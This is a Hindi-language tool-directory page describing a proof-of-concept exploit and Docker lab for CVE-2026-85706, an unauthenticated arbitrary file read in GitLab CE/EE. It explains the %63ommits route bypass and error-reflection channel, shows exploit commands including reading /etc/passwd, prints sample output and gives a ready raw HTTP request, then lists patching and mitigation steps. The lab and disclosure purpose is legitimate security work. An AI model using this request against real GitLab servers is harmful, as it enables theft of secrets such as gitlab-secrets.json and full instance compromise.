Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-85706 — CVE-2026-85706 के लिए PoC और Docker लैब, जो GitLab CE/EE में commits API रूट बायपास और urlencoded error channel के माध्यम से एक unauthenticated arbitrary file read है। | Kitploit
उपकरण/GitHubGitHub/eqstlab/cve-2026-85706
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंगलैब और अभ्यास
GitHubeqstlab/cve-2026-85706

CVE-2026-85706

CVE-2026-85706 के लिए PoC और Docker लैब, जो GitLab CE/EE में commits API रूट बायपास और urlencoded error channel के माध्यम से एक unauthenticated arbitrary file read है।

23412 दिन पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-85706 GitLab अनधिकृत मनमाना फ़ाइल पठन

★ CVE-2026-85706 GitLab अनधिकृत मनमाना फ़ाइल पठन PoC ★

https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d


अवलोकन

CVE-2026-85706 GitLab CE/EE में एक अनधिकृत मनमाना फ़ाइल पठन है (CVSS 10.0, CISA KEV), जो POST /api/v4/projects/:id/repository/commits के माध्यम से होता है, जिसका body-upload helper authenticate! से पहले चलता है और params['file.path'] को बिना किसी confinement के एक absolute path के रूप में पढ़ता है। commits के एक अक्षर को URL-encode करने पर → %63ommits GitLab-Workhorse को route miss करा देता है (इसलिए यह कभी file.path को overwrite नहीं करता), जबकि Rails अभी भी %63 → c decode करके handler तक route करता है — जिससे हमलावर query string के माध्यम से file.path सेट कर सकता है। Content-Type=application/x-www-form-urlencoded के साथ, helper फ़ाइल सामग्री को फिर से parse करता है और दो hex digits के बाद न आने वाला % उस सामग्री को 400 body में reflect करता है (जिन फ़ाइलों में यह नहीं होता उनके लिए केवल 401 read oracle मिलता है)। कम से कम एक public project आवश्यक है।


प्रभावित संस्करण

श्रेणीसंस्करण
संवेदनशीलGitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
पैच किया गया19.1.8 / 19.2.6 / 19.3.2 या बाद का (2026-09-10)

प्रभाव

  • GitLab service process द्वारा पढ़ी जा सकने वाली किसी भी फ़ाइल का अनधिकृत मनमाना फ़ाइल पठन
  • ऐसी फ़ाइलों का खुलासा जिनकी सामग्री में अमान्य % होता है (application logs, और configs/credentials जिनमें URL-encoded मान होते हैं) → recon + credential theft → authenticated access / पूर्ण instance compromise तक chaining
  • यह read primitive उच्च-मूल्य वाली फ़ाइलों (gitlab-secrets.json, database.yml) तक पहुँचता है; ध्यान दें कि विशुद्ध रूप से hex/base64 फ़ाइलें public % reflection channel के माध्यम से केवल एक existence oracle लौटाती हैं (echo trigger करने के लिए कोई अमान्य % byte नहीं)
  • यह fix body-upload helper से पहले authenticate! जोड़ता है, इसलिए file-read sink से पहले एक अनधिकृत request को अस्वीकार कर दिया जाता है

वातावरण

संवेदनशील GitLab CE को build और run करें। boot पर, seeder /flag.txt (एक trailing % leak trigger के साथ) रखता है और एक public project victim/public-app (project id 1) बनाता है ताकि commits API अनधिकृत रूप से पहुँच योग्य हो। पहला boot ~2–3 मिनट लेता है।

docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...

flag एक placeholder है (EQST{gitlab_cve_2026_85706_arbitrary_file_read})। image को edit किए बिना run time पर अपना सेट करें: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706।

पूर्व शर्तइस lab में स्थिति
GitLab 18.7 – 19.1.719.1.7-ce.0
कम से कम एक public project (anon commits API तक पहुँचता है)victim/public-app (id 1), स्वतः निर्मित
/api/v4/projects/:id/repository/commits अनधिकृत रूप से पहुँच योग्यexposed
सर्वर filesystem पर flag/flag.txt (trailing % reflection trigger)

PoC

exploit gitlab_exploit.py एक single unauthenticated request के साथ सर्वर से एक फ़ाइल पढ़ता है, %63ommits Workhorse route bypass और urlencoded re-parse error channel का उपयोग करते हुए। --read के साथ फ़ाइल चुनें (default /flag.txt)।

# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}

विकल्प:

  • --read "<abs path>" — पढ़ने के लिए absolute file path (default /flag.txt)
  • --project <id> — अनधिकृत रूप से पहुँच योग्य public project id (default 1)
  • --check — केवल पुष्टि करें कि file-read sink पहुँच योग्य है (local file not present की अपेक्षा करता है)

Raw request (Burp Repeater के लिए):

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close


शमन

  • GitLab को 19.1.8 / 19.2.6 / 19.3.2 या बाद के संस्करण में upgrade करें
  • यदि आप तुरंत upgrade नहीं कर सकते, तो proxy/WAF पर */repository/commits* और */repository/files* के लिए POST/PUT को block करें, और instance को SSO / VPN / IP allowlist के पीछे रखें
  • patching के बाद: मान लें कि यदि endpoint internet-reachable था तो GitLab service द्वारा पढ़ी जा सकने वाली कोई भी फ़ाइल (logs, configs, secrets) exposed थी — sessions को invalidate करें और exposed credentials / secrets को rotate करें

विश्लेषण

  • KR:
  • EN:
टूल डाउनलोड करें